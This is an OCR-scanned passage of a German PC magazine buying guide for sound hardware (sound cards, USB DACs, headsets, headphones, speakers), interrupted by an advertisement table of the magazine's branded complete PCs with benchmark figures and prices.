In diesem Artikel bemühen wir 
uns daher um etwas mehr Klarheit. 
Zuerst gehen wir generell auf die 
Hardware ein, erklären Vorteile ei- 
ner Soundkarte, geben Tipps zur 


Headset- und Lautsprecherwahl 
und gehen neben spezifischer PC- 
Hardware außerdem nochmals ge- 
sondert auf Alternativen aus dem 
Audio- und Hifi-Bereich ein. Im Fol- 
genden werden wir uns eine brei- 
te Auswahl mit empfehlenswerter 
Sound-Hardware ansehen. Wir le- 
gen besonderen Wert auf ein aus- 
gewogenes Preis-Leistungsverhält- 
nis und ordnen die Empfehlungen 
grob in drei Kategorien von Ein- 
steiger über Mittel- bis Oberklasse. 
Bevor Sie sich jedoch mit der Hard- 
ware auseinandersetzen, ist es vor- 


teilhaft zu wissen, welche Einsatz- 
zwecke die Hardware erfüllen soll 
und welche Qualität Sie anstreben. 
Natürlich handelt es sich hierbei 
um Ihre ganz eigene Entscheidung, 
eine gewisse Hilfestellung wollen 
wir aber dennoch leisten. 


Der Gelegenheitsspieler 

Wenn Sie den PC hauptsächlich 
nutzen, um hin und wieder ein 
Spielchen zu wagen, ein paar 
Youtube-Videos sehen oder in die 
Social-Media-Welt abzutauchen, 
benötigen Sie dafür natürlich keine 
sündhaft teure Sound-Hardware. 
Die Audioqualität beispielsweise 
von Videos auf Social-Media-Kanä- 
len rangiert im eher unterirdischen 
Bereich, Sound von Indie- oder 
Casual-Games ist oft eher zweck- 
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mäßig und nicht allzu Komplex 
(es gibt ausdrücklich Ausnahmen). 
Nur in seltenen Fällen ist hochwer- 
tige Hardware vonnöten, um etwa 
feine, detaillierte Geräusche aus 
der Klangkulisse heraus zu hören. 
Im Grunde reicht daher der On- 
board-Sound und ein ordentliches 
Headset oder Kopfhörer aus dem 
Einsteigersegment. Das ändert sich 
ein wenig, wenn Sie am PC auch 
Musik genießen wollen, gleich ob 
in Form eines guten Spiele-Sound- 
tracks, MP3s, Internet-Radio oder 
Youtube. Jedes dieser Formate bie- 
tet prinzipiell reichlich Qualität, 
um auch Mittelklasse-Hardware 
klangtechnisch auszuschöpfen. 
Und je komplexer die Musik aus- 
fällt, desto sinnvoller ist es, in sol- 
che Gerätschaften zu investieren. 
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Der Alleshörer 

Sound in modernen, aufwendig 
produzierten Spielen ist durchaus 
hochqualitativ und komplex. Gute 
Audio-Hardware mit ausgewoge- 
nem und detailliertem Klangbild 
bringt echte Vorteile. Dies gilt nicht 
nur für die Ortung in kompetative 
Online-Shootern, sondern generell: 
Mit hoher Auflósung kónnen ganz 
ähnlich wie bei der Grafik zusätz- 
liche Details abgebildet und Fein- 
heiten herausgestellt werden. Eine 
luftige Wiedergabe (die im Audio- 
bereich gern zitierte ,grofse Büh- 
ne“) lässt Spielewelten freier und 
größer wirken. Ein ausgewogener 
Frequenzverlauf liefert Details wie 
angedacht, verhindert verfärbte, 
schlecht verständliche Stimmen, zi- 
schende Höhen, teigig wummern- 


mers 


M-A 


de Bässe und lässt Instrumente mit 
natürlicher Ausdruckskraft und 
Tonfarbe erklingen. Diese Vorteile 
gelten auch abseits von Spielen: Fil- 
me profitieren und nochmals deut- 
licher wird es beim Musikhören: 
Schon mäßig anspruchsvolle Titel 
mit wenig Dynamik wie schnöde 
Populärmusik Klingen mit guter 
Hardware wesentlich besser. Und 
für komplexe, dynamische Stücke 
ist eine gute Audio-Ausstattung 
beinahe Pflicht. Finden Sie hier 
Ihre Interessen wiedergespiegelt, 
sollten Sie zumindest in gute Mit- 
telklasse-Hardware investieren. 


Der (angehende) Audio-Fan 
Steht nicht nur das Hören, son- 
dern auch der Genuss dabei im 
Vordergrund, wird es mit einiger 


Wahrscheinlichkeit etwas kostspie- 
liger. So ist das eben mit dem Ge- 
nuss, man muss ihn sich gönnen. 
Der wohl größte Zugewinn durch 
hochwertige Audio-Hardware ist 
beim Musikhören zu finden. Doch 
Sie müssen nicht zwangsweise 
Blues-Fan oder Klassik-Konisseur 
sein, um die Hardware auszuschöp- 
fen. Auch in Spielen bringt Ober- 
klasse-Sound Vorteile, gleiches gilt 
für Film oder wenig anspruchs- 
volle Musik. Doch sollten Sie Wert 
auf gute Produktionen legen und 
über entsprechend gutes Material 
verfügen. Denn gehobene Audio- 
Hardware wird furchtbar klingen, 
wenn das Material furchtbar ist - 
unter Umständen klingt schlechte- 
re Hardware in solchen Fällen gar 
etwas weniger fuchtbar. (pr) 
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Soundkarten 


Creative Sound Blaster X7 


Alternative: Externer Hifi-DAC 


Extern per USB angeschlossene DACs aus dem Hifi-Bereich stellen eine 
gute Alternative zu einer Soundkarte dar. 


Soundkarten sind im Prinzip DACs mit einem erweiterten Feature-Paket und 
einigen Komfort-Optionen, viele der sonstigen klangrelevanten Bauteile sind sehr 
ähnlich. So nutzt der hier als Beispiel aufgeführte SMSL Mini DAC SD-793ll einen 
PCM1793 Digital-Analogwandler von Texas Intruments. Außerdem verfügt der 
DAC von SMSL über einen OPA2 134-Kopfhörerverstärker. Der 6,3-mm-Kopfhörer- 
ausgang an der Front treibt somit auch etwas anspruchsvollere Hörer ordentlich 
an, auch wenn in diesem spezifischen Fall bei der Leistung einige Abstriche 
gemacht werden müssen. Es gibt selbstverständlich deutlich potentere Geräte, der 
rund 20 Euro teurere Fiio Olympus 2 E10K (siehe Empfehlung Mittelklasse) liefert 
beispielsweise bereits deutlich mehr Leistung, und bewegt sich qualitativ auf dem 
Level einer sehr guten und deutlich teureren Soundkarte. 


An der Rückseite des DACs befinden sich zudem ein Cinch-Ausgang, an dem Laut- 
sprecher angeschlossen werden können, sowie ein Coaxial- und Toslink-Ausgang 
zur digitalen Übertragung (der DAC würde in diesem Fall umgangen werden). All 
das ähnelt stark einer Soundkarte und von der Audioqualität her ist der SD-793ll 
ebenfalls nicht zu verachten. Darüber hinaus kann die Lautstárke bequem über 
ein Rádchen an der Front eingestellt werden, dort befindet sich zudem eine 
Input-Wahl und ein Standby-Schalter. 


Die Vorteile bei der Bedienung, das minimierte Rauschrisiko und der für den Preis 
sehr gute Klang stehen beim knapp 60 Euro günstigen DAC fehlenden Features 
einer Soundkarte oder Onboard-Audio gegenüber. 

Dazu zählt auch der fehlende Mikrofon- 

anschluss. Wollen Sie also nicht 

nur hóren, sondern auch 

kommunizieren, 

müsste ein solches 

Mikrofon also auf an- 

dere Weise betrieben 

werden, beispielsweise 

per Onboard-Audio 

oder USB-Verbindung. 
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ktuelle Mainboards verfügen 

umindest zu Teilen über gut 
ausgebaute Audio-Sektionen. Die 
Frage ,wozu benótige ich eine 
Soundkarte?“ ist also durchaus 
berechtigt. Und zumindest im Ein- 
steigersegment gilt die Antwort 
„Brauchen Sie nicht, jedenfalls 
nicht dringend.“ in vielen Fällen. 
Die meisten, halbwegs aktuellen 
Einsteiger- und Mittelklasse-Main- 
boards verfügen über ausreichend 
Leistung und eine Audio-Qualität, 
die zufriedenstellt. Auf vielen Main- 
boards sind gar zusätzliche Kopf- 
hörerverstärker verbaut, die auch 
etwas anspruchsvollere Geräte 
befeuern können, dazu kommen 
via Software unter Umständen 
Features wie virtueller Surround- 
Sound hinzu, einen Equalizer findet 
man in praktisch allen Fällen und 
selbst Extras wie ein Bass-Boost, 
Karaoke-Funktion oder Stimm-Mo- 
dulationen für das Mikrofon sind 
keine Seltenheit. 


Vorteile der Soundkarte 

Eine Soundkarte bietet im Ver- 
gleich mit vielen Mainboards recht 
ähnliche Funktionen, wenn auch 
häufig in etwas ausgefeilterer und 
umfänglicheren Form. Die ten- 
denziellen Vorteile einer Sound- 
karte sind jedoch weniger auf der 
Feature-Liste als bei der Qualität zu 
finden. Eine gute Soundkarte trägt 
als elementare Bauteile neben ei- 
nem Soundchip und einem rausch- 
armen Digital-Analogwandler di- 
verse Verstärker auf der Platine, 
zu weiten Teilen gehört dazu auch 
ein sehr leistungsfähiger Kopf- 
hörerverstärker. Dutzende und 
oft hochwertige Kondensatoren 
minimieren kritische Spannungs- 
schwankungen, Taktgeber verhin- 
dern durch wechselnde Tempera- 
turen ausgelöste Schwankungen 
der Samplingfrequenz (Jitter). 


Und ja, all diese Maßnahmen kann 
man einer guten Soundkarte durch- 
aus anhören, selbst wenn ein Main- 
board mit einer sehr überzeugen- 
den Audio-Sektion zum Vergleich 
herangezogen wird. Doch dies 
wird erst dann deutlich, wenn die 
angeschlossenen Klangquellen 
auch fein genug auflösen, von zu- 
sätzlicher Verstärkung profitieren, 


ausreichend gutes Material zuge- 
spielt wird und der Zuhörer mit 
geschultem Ohr aufmerksam nach 
Unterschieden lauscht. Eine Sound- 
karte bringt Ihnen also vor allem 
dann Vorteile, wenn Ihre restliche 
Audio-Hardware noch über reich- 
lich Reserven verfügt. 


Es gibt allerdings auch andere Grün- 
de, weshalb man geneigt sein könn- 
te, zu einer Soundkarte zu greifen: 
Nicht selten gibt es bei der Audio- 
wiedergabe via Onboard-Sound 
lästige Störgeräusche. Auch die Mi- 
krofonaufnahme wird nicht selten 
von Rauschen kompromittiert. Dies 
kann nochmals problematischer 
sein, wenn die Mikrofonverstär- 
kung wie bei vielen Mainboards un- 
zureichend ausfällt und die Lautstär- 
ke (und damit auch die Präsenz der 
Störgeräusche) daher via Software 
angehoben werden muss. Dabei 
gibt es allerdings zu beachten, dass 
solcherlei Störungen nicht selten 
daher stammen, dass beispielswei- 
se ein Headset am Frontpanel des 
Gehäuses angeschlossen wurde. 
Diese sind oft völlig unzureichend 
abgeschirmt, sich häufig in der 
Nähe befindliche USB-Anschlüsse 
sorgen beim Betrieb für zusätzliche 
Störimpulse und obendrein ist der 
Kopfhörerausgang an der Front in 
beinahe allen Fällen nicht verstärkt. 
Leiden Sie unter einem der oben 
aufgeführten Symptome, haben Sie 
vielleicht Glück und eine erfolgrei- 
che Therapie kann mit einem bei- 
nahe schmerzfreien Umstecken des 
Geräts erzielt werden. 


Andernfalls bleiben neben einem 
Hardware-Wechsel nicht viele Opti- 
onen. Allerdings sind Sie auch mit 
einer teuren und aufwendig abge- 
schirmten Soundkarte nicht völlig 
vor Störgeräuschen sicher. Manche 
Konstellationen aus Mainboard, 
Grafikkarte, Netzteil und Gehäu- 
se begünstigen offenbar elektro- 
magnetische Schwingungen, die 
selbst für High-End-Soundkarten 
zu viel darstellen. Auf der sicherst 
möglichen Seite sind Sie mit einer 
USB-Soundkarte. Können Sie auf 
typische Soundkarten-Features ver- 
zichten, ist ein guter USB-DAC (s. 
Kasten links) sowohl preislich als 
auch qualitativ die beste Wahl. 
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Headsets 


as Headset ist im Grunde die 
DD... Art und 
Weise dem PC Ton zu entlocken: 
Die Geräte müssen im Normalfall 
einfach nur angesteckt werden, 
eventuell muss noch die Sound- 
ausgabe eingerichtet und das Mik- 
rofon feinjustiert werden, doch im 
Prinzip muss man sich als Nutzer 
keine weiteren Gedanken machen. 
Dies gilt nochmals verstärkt, wenn 
ein USB-Headset genutzt wird. 
Denn ein gutes Gerät sollte sich 
nicht nur einfach anschließen las- 
sen, sondern in Form der verbau- 
ten USB-Soundkarte außerdem die 
korrekte Hardware mit sich brin- 
gen, um Headset und Mikrofon ad- 
äquat zu befeuern. Sie müssen sich 
im Optimalfall also nicht mit dem 
richtigen Anschluss, 
der Verstärkung oder potenziellen 
Störgeräuschen herumschlagen. 
Das ist praktisch und bequem - 
zwei Eigenschaften, die man mit 
einem guten Headset verbinden 
können sollte. 


ausreichen- 


Doch leider kann man sich nicht 
blind darauf verlassen, dass es sich 
bei in Frage kommenden Headsets 
um gute Produkte handelt oder 
dass USB-Geräte mit einer passen- 
den USB-Soundkarte ausgeliefert 
werden. Gerade bei günstigeren 
Geräten kann die USB-Verbindung 
tatsächlich schlechter klingen und 
beispielsweise deutlich stärkeres 
Rauschen und andere durch In- 
terferenzen ausgelöste Störungen 
aufweisen. Andere USB-Headsets 
kosten gegenüber teils ebenfalls 
angebotener Klinken-Varianten 
einen unverständlich hohen Auf- 
preis. Und wenn Sie über eine gute 
Onboard-Audio-Sektion oder gar 
eine Soundkarte verfügen, umge- 
hen Sie diese durch Nutzung des 
USB-Anschlusses - und erhalten im 
Endeffekt einen eventuell schlech- 
teren Sound mit dem teureren USB- 
Gerät, als hätten Sie ein Klinken- 
Headset angeschlossen. 


Auf der anderen Seite kommen 
USB-Geräte häufig mit mehr oder 
minder nützlichen Features, da- 
runter etwa virtueller Surround, 
verschiedene Klang-Profile, um- 
fangreichen Bedienelementen 
und klanglich irrelevanten Extras 
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wie eine RGB-Beleuchtung. Dabei 
sollten Sie allerdings im Hinter- 
kopf behalten, dass Ihre Onboard- 
Sektion oder Soundkarte ebenfalls 
viele dieser Features bietet, außer- 
dem gibt es kostenlose (aber regis- 
trierungspflichtige) Software wie 
beipspielsweise Razer Surround. 
Auf diese Weise können Sie auch 
bei sehr spärlich mit Features aus- 
gestatteten Headsets, 
Sound, einen Equalizer oder ver- 
schiedene Profile nutzt - ohne 
dafür einen Cent Aufpreis bezahlen 
zu müssen. 


Surround- 


Headset-Aufpreis 

Damit wären wir beim Preis-Leis- 
tungsverhältnis angekommen, 
beziehungsweise der Leistung in 
Relation zum Preis: Viele Headsets 
sind gemessen an ihrer Audio-Qua- 
lität recht teuer. Das wird vor allem 
dann offenbar, wenn auf Kopfhö- 
rern basierende Geräte mit ihrem 
Hifi-Gegenpart verglichen werden. 
Nicht selten ist das Headset beina- 
he doppelt so teuer. Natürlich muss 
dabei der Aufpreis durch das Mik- 
rofon und eventuelle Bedienele- 
mente sowie das Tooling berück- 
sichtigt werden, doch fällt es häufig 
schwer, die hohen Headset-Preise 
in Relation zu setzen. 


Aber auch die Audio-Qualität 
von Headsets fällt meist deutlich 
schlechter aus als bei ähnlich be- 
preisten Kopfhörern. Häufig liegt 
dies auch an der „Gaming“-orien- 
tierten Abstimmung der Headsets, 
die den Klang in vielen Fällen leider 
verschlimmbessert. So bekommen 
Sie beispielsweise einen sehr gut 
klingenden, außerordentlich be- 
quemen Beyerdynamic DT 770 für 
etwa 120 Euro (s. Kasten rechts). In 
dieser Preisklasse gibt es kein ein- 
ziges Headset, dass die Qualität des 
Kopfhörers auch nur ansatzweise 
erreichen würde. Doch muss man 
gar nicht so hoch greifen: Schon 
ein Superlux HD681 für unter 20 
Euro kann sich klanglich mit vie- 
len Mittelklasse-Headsets messen. 
Wenn Ihnen primär der Sound am 
Herzen liegt, lohnt es sich daher in 
fast allen Fällen, einen Kopfhörer 
statt ein Headset zu wählen - selbst 
wenn Sie anschließend noch ein 
Mikrofon zukaufen müssen. 


Kingston Hyper X Cloud 2 


Alternative: Hifi-Kopfhörer 


Kopfhörer sind Headsets in der Regel klanglich deutlich überlegen. 
Insbesondere, wenn Sie schon eine gute Soundkarte besitzen. 


Wenn man Headsets und Kopfhörer allein auf ihre klanglichen Qualitäten redu- 
ziert, erscheinen insbesondere Headsets ab der gehobenen Mittelklasse sehr teuer. 
So kostet der hier aufgeführte Beyerdynamic DT 770 Pro in der Limited Edition 
und mit 16 Ohm-Widerstand aktuell unter 120 Euro. Für diesen Preis bekommen 
Sie kein Headset, das auch nur eine ähnliche Klangqualität bietet. Selbst wenn 

Sie noch ein gutes Mikrofon dazukaufen, ist das Preis-Leistungsverhältnis deutlich 
auf Seiten des Kopfhörers. Aus diesem Grund finden Sie unter den Empfehlungen 
auf den folgenden Seiten so viele Kopfhörer und nur eine Handvoll überzeugende 
Headsets. 


Doch zurück zum Beyerdynamic DT 770 Pro: 
Wie die meisten Gaming-Headsets besitzt 
der Kopfhörer ein geschlossenes 

Design. Die flauschigen Ohrpolster 

bieten mehr als ausreichend 

Platz, der mit Kunstleder 

gefütterte Kopfbügel lässt 

den angenehm leichten 

Hörer auch über Stunden 

bequem sitzen. Der DT 770 

Pro spielt nicht vollkom- 

men neutral auf, sondern 

hat eine „spaßig” wirkende 

Abstimmung mit leicht betonten 

Bässen und Höhen. Der Hörer ist 

in der Lage, sehr viele feine Details 
abzubilden, Feinde lassen sich blind orten 
und nebenbei ist er voll musiktauglich. 
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Alle aktuellen PCGH-Kom- 
olett-PCs im Überblick 


Hochwertige Bauteile, ein flüsterleiser Betrieb und der Gaming-Fokus zeichnen 
unsere PCGH-PCs aus. Wir verschaffen Ihnen einen Überblick über die Auswahl. 


ie haben keine Zeit oder Lust, einen neuen Komplett-PC für sich 
Ss. oder für Freunde und Bekannte zusammenzubauen? Dann 
könnten unsere PCGH-PCs, die von unserem Partner Alternate nach 
unseren Wünschen gebaut und verkauft werden, die richtige Wahl sein. 
Ein weiterer Vorteil im Vergleich zum Schrauben: Läuft der Rechner 
innerhalb von zwei Jahren mal nicht rund, schicken Sie diesen einfach 
zu Alternate in die Serviceabteilung, ohne dass Ihnen dabei Kosten 
entstehen. Nicht immer ist es einfach, die Fehlerquelle zu identifizieren, 
um das defekte Bauteil zu ersetzen. Unser limitierter PCGH-Fan-PC 
ist inkl. Windows 10 Home schon für 1.369 Euro zu haben. Hoch- 
wertige PCGH-Komponenten zeichnen dieses Modell aus. Mit seiner 


Geforce GTX 1060 wird es beim Thema 4K-Gaming aber eng. Sol- 
len es möglichst viele CPU-Kerne sein, bietet der PCGH-Gaming-PC 
Ryzen-Edition mit seinen acht CPU-Kernen einen günstigen Einstieg. 


Zusammen mit der Geforce GTX 1070 sind Sie für alle aktuellen Spiele 


bestens gerüstet. Intels schnellste CPU für den Sockel 1151 ist der 
Core i7-7700K und diesen verbauen wir ab dem PCGH-Enthusiast-PC. 
Sechskern-CPUs von Intel bieten der Ultimate-PC sowie der Epic-PC 


GTX1080-Edition bzw. GTX1080Ti-Edition. An der Spitze steht dage- 


gen der Epic-PC Ryzen-Edition mit seinen acht CPU-Kernen und der 
Geforce GTX 1080 Ti. Wie bei allen Epic-PCs wurde dabei auf eine 
mechanische Festplatte verzichtet. 


(dw) 


Нагашаге 


>GH-Produkt 


Hersteller/Bezugsquelle 


PCGH-Fan-PC 
Limited-Edition 
Alternate (www.pcgh.de/alternate) 


GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


PCGH-High-End-PC 
GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


PCGH-Enthusiast-PC 
GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/fan-pc 


www.pcgh.de/gaming-pc 


www.pcgh.de/ryzen1700-pc 


www.pcgh.de/highend-v2-pc 


www.pcgh.de/enthusiast2-pc 


Ausstattung 

Prozessor Intel Core i5-7600K (Sockel 1151) | Intel Core 15-7600 (Sockel 1151) AMD Ryzen 7 1700 Intel Core i5-7600K (Sockel 1151) | Intel Core i7-7700K (Sockel 1151) 
Grafikkarte Asus GTX 1060 Dual OC (6 GB) Asus GTX 1070 Strix OC Gaming Asus Geforce GTX 1070 Dual Asus GTX 1070 Strix OC Gaming Asus GTX 1070 Strix OC Gaming 
Mainboard Asus Strix Z270F Gaming MSI B250 PC Mate MSI B350 PC Mate Asus Prime Z270-P Asus Prime Z270-A 


SSD-Laufwerk 


275-GB-SSD (Crucial MX300) 


275-GB-SSD (Crucial MX300 M.2) 


275-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300) 


HDD-Laufwerk 


2.000-GB-HDD (Seagate) 


1.000-GB-HDD (Seagate/WD Blue) 


1.000-GB-HDD (Seagate/WD Blue) 


1.000-GB-HDD (Seagate/WD Blue) 


2.000-GB-HDD (Seagate/WD Blue) 


Speicher 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 
Netzteil Seasonic G-Series 550W PCGH-Ed. Cooler Master B500 Rev. 2 Be quiet Pure Power 10 400W Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. 
CPU-Kühler EKL Brocken 2 PCGH-Edition EKL Brocken 2 PCGH-Edition Scythe Mugen 5 PCGH-Edition Scythe Mugen 4 PCGH-Edition Scythe Mugen 4 PCGH-Edition 
Gehäuse Fractal Design R5 PCGH-Edition Sharkoon M25-V Sharkoon M25-V Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition 
Laufwerk/Soundkarte DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound 


Lautstärke 2D (0,5 m) 


Gehäuselüfter/Sonstiges ale 


3x Lüfter _ 


mu X Lüfter, WLAN Karte U 


| 3X Lüfter, WAN Kate EN 


EE Lüfter, WLAN-K CN 


0,3 Sone/22 dB(A) 0,2 Sone/20 dB(A) 0,1 Sone/18 dB(A) 0,3 Sone/22 dB(A) 0,2 Sone/20 dB(A) 
Lautstárke 3D (0,5 m) 0,7 Sone/26 dB(A) 1,2 Sone/31 dB(A) 1,5 Sone/33 dB(A) 0,7 Sone/27 dB(A) 0,6 Sone/26 dB(A) 
Leistungsaufnahme 2D/3D 41 Watt/187 Watt 37 Watt/249 Watt 46 Watt/232 Watt 36 Watt/240 Watt 40 Watt/254 Watt 
3D Mark (Fire Strike) 3.039 (U), 5.718 (E), 10.714 (S) 4.406 (U), 7.943 (E), 14.368 (S) 4.251 (U), 8.031 (E), 14.862 (S) 4.429 (U), 7.982 (E), 14.479 (S) 4.567 (U), 8.472 (E), 16.186 (S) 
Crysis 3/The Witcher 3 59 Fps/45 Fps 80 Fps/68 Fps 79 Fps/61 Fps 82 Fps/68 Fps 83 Fps/68 Fps 


Stalker: Call of Pripyat 


148 Fps (Sun Shafts, Ultra, 4x AA) 


191 Fps (Sun Shafts, Ultra, 4x AA) 


163 Fps (Sun Shafts, Ultra, 4x AA) 


192 Fps (Sun Shafts, Ultra, 4x AA) 


205 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


177 Fps (1.920 x 1.080) 


245 Fps (1.920 x 1.080) 


236 Fps (1.920 x 1.080) 


245 Fps (1.920 x 1.080) 


248 Fps (1.920 x 1.080) 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


Cinebench R11.5 x64 (CPU) 7,66 Punkte 7,45 Punkte 15,60 Punkte 7,63 Punkte 10,85 Punkte 
PREIS 
mu - €1.449,- €1.529,- €1.699,- €1.939,- 
PREIS €1.369, - €1.549,- €1.629,- €1.799,- €2.039,- 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


© Hochwertige Basis-Komponenten 
© Sehr leise unter 2D und 3D 
© Kleine SSD 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 
© Kleine SSD 


© Sehr hohe CPU-Leist. (8 Kerne) 
© Aktuell leisester PC unter 2D 
© Hörbare Grafikkarte in 3D 


© Neuer Intel Kaby-Lake-Prozessor 
© Sehr leise unter 2D und 3D 
© Kein Blu-ray-Laufwerk 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


ANZEIGE 


figuriert von den 
KCGH-Redakteuren 


ptimiert 


Nur Retail 
Für Silent-Betrieb o 
rfekt eingestellt 


КОЧ 


INF0: Bei den PCGH-PCs 
werden nur hochwertige 
Retail-Komponenten und 


—— 
www lw P 


AWA WAWA 


w 
waw AAA 


keine OEM-Produkte verbaut, 
um eine hohe Qualität und 
einen niedrigen Lärmpegel zu 


gewährleisten. 


* Preiserfassung und Produktdaten vom 
05.07.2017, unter www.pcgh.de/alternate 
finden Sie stets den aktuellen Preis. Bei 

der Variante mit Betriebssystem sind neben 
Windows auch sämtliche Treiber installiert 
und der PC ist sofort einsatzbereit. 
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Hardware 


Offizielles PCGH-Produkt 


Produkt 


Hersteller/Bezugsquelle 


treme-PC 
GTX1080-Edition V2 
Alternate (www.pcgh.de/alternate) 


GTX1080-Edition 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


PCGH-Epic-PC 
GTX1080Ti-Edition 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


wit pogh de/exreme-pc 


www.pcgh.de/ultimate-pc __ 


www.pcgh.de/epic-pc 


www.pcgh.de/epic1 080ti-pc _ 


wivpogh defgent&O0c pc. 


Prozessor 


Intel Core i7-7700K (Sockel 1 


51) 


Intel Core i7-6800K (Sockel 2011-3) Intel Core i7-6800K (Sockel 2011-3) Intel Core i7-6800K (Sockel 2011-3)| AMD Ryzen 7 1800X 
Grafikkarte Asus GTX 1080 Strix Advanced Geforce GTX 1080 (OC-Version) Asus GTX 1080 Strix Advanced Asus Geforce GTX 1080 Ti Strix Asus Geforce GTX 1080 Ti Strix 
Mainboard Asus Prime Z270-A Asus Strix X99 Gaming Asus Strix X99 Gaming Asus Strix X99 Gaming Asus Crosshair VI Hero 


SSD-Laufwerk 


525-GB-SSD (Crucial MX300 


1.050-GB-SSD (Crucial MX300) 


1 TB + 512 GB M.2 (Crucial/Sams.) 


1 TB + 512 GB M.2 (Crucial/Sams.) 


1TB + 512 GB M.2 (Crucial/Sams.) 


HDD-Laufwerk 


3.000-GB-HDD (Seagate/WD Red) 


3.000-GB-HDD (Seagate/Toshiba) 


Speicher 


16 GB DDR4-2400 (Ballistix) 


32 GB DDR4-2400 (Ballistix) 


32 GB DDR4-2400 (Ballistix) 


32 GB DDR4-2400 (Ballistix) 


32 GB DDR4-2400 (Ballistix) 


Netzteil 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


CPU-Kühler 


Scythe Mugen 4 PCGH-Edition 


EKL Brocken 2 PCGH-Edition 


EKL Brocken 2 PCGH-Edition 


EKL Brocken 2 PCGH-Edition 


Scythe Mugen 5 PCGH-Edition 


Gehäuse 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Laufwerk/Soundkarte 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Pro) 


(inkl. Windows 10 Pro) 


Gehäuselüfter/Sonstiges 3 x Lüfter, WLAN-Karte 3x Fractal-Lüfter, WLAN onboard | 3x Fractal-Lüfter, WLAN onboard | 3x Fractal-Lüfter, WLAN onboard | 3x Fractal-Lüfter, WLAN onboard 

Lautstärke 2D (0,5 m) 0,2 Sone/21 dB(A) 0,3 Sone/22 dB(A) 0,2 Sone/19 dB(A) 0,2 Sone/19 dB(A) 0,2 Sone/19 dB(A) 

Lautstärke 3D (0,5 m) 1,0 Sone/30 dB(A) 1,0 Sone/29 dB(A) 1,0 Sone/29 dB(A) 0,6 Sone/26 dB(A) 0,6 Sone/26 dB(A) 

Leistungsaufnahme 2D/3D 43 Watt/289 Watt 60 Watt/303 Watt 69 Watt/309 Watt 71 Watt/339 Watt 56 Watt/330 Watt 

3D Mark (Fire Strike) 5.378 (U), 10.025 (E), 18.505 (S) | 5.409 (U), 10.105 (E), 18.047 (S) | 5.350 (0), 10.025 (E), 17.747 (S) | 7.086 (U), 13.165 (E), 20.599 (S) | 7.134 (U), 13.276 (E), 19.887 (S) 

Crysis 3/The Witcher 3 100 Fps/84 Fps 100 Fps/83 Fps 100 Fps/83 Fps 124 Fps/110 Fps 121 Fps/106 Fps 

Stalker: Call of Pripyat 228 Fps (Sun Shafts, Ultra, 4x AA) | 215 Fps (Sun Shafts, Ultra, 4x AA) | 215 Fps (Sun Shafts, Ultra, 4х AA) | 220 Fps (Sun Shafts, Ultra, 4x AA) | 183 Fps (Sun Shafts, Ultra, 4x AA) 

Aliens vs Predator Bench. 307 Fps (1.920 x 1.080) 302 Fps (1.920 x 1.080) 304 Fps (1.920 x 1.080) 414 Fps (1.920 x 1.080) 411 Fps (1.920 x 1.080) 

Cinebench R11.5 x64 (CPU) 10,88 Punkte 12,00 Punkte 12,04 Punkte 12,05 Punkte 17,87 Punkte 
PREIS 

EE UU €2.099, €2.599, €2.729, €2.949, €2.999, 

PREIS €2.199,- €2.699,- €2.829,- €3.099,- € 3.149,- 


(inkl. Windows 10 Pro) 


Sehr schnelle Geforce GTX 1080 
Sehr leise unter 2D 
Niedriger Stromverbrauch 


© 6-Kern-CPU und 1.050-GB-SSD 
Geforce GTX 1080 als OC-Version 


6-Kern-CPU und Asus GTX 1080 
M.2-SSD (Samsung 960 Pro) 


© Hoher Stromverbrauch in 2D 


© Hoher Stromverbrauch in 2D 


Sehr schnelle GTX 1080 Ti 
M.2-SSD (Samsung 960 Pro) 
© Hoher Preis 


8-Kern-CPU extrem schnell 
M.2-SSD (Samsung 960 Pro) 
© Hoher Preis 


INFRASTRUKTUR | Kaufberatung Sound 


Lautsprecher 


Nubert NuPro A-100 


Alternative: Studiolautsprecher 


Sogenannte Studiolautsprecher eignen sich nicht nur für Soundtechni- 
ker, sondern auch für PC-Spieler. 


Studiolautsprecher sind für einen kleinen Hörplatz optimiert. Sie besitzen ein 
breites Abstrahlverhalten und verhältnismäßig kleine Tieftöner. Beides begünstigt 
ein kleines Stereo-Dreieck, Sie benötigen also nur wenig Raum, um die Lautspre- 
cher optimal auf Ihren Hörplatz einzurichten — Lautsprecher dieser Art nennen sich 
aus diesem Grund auch Nahfelder. Bei dieser Art Lautsprecher die Klangqualität 
sehr wichtig, schließlich würde jede Art Klangverfärbung die Arbeit des Musikers 
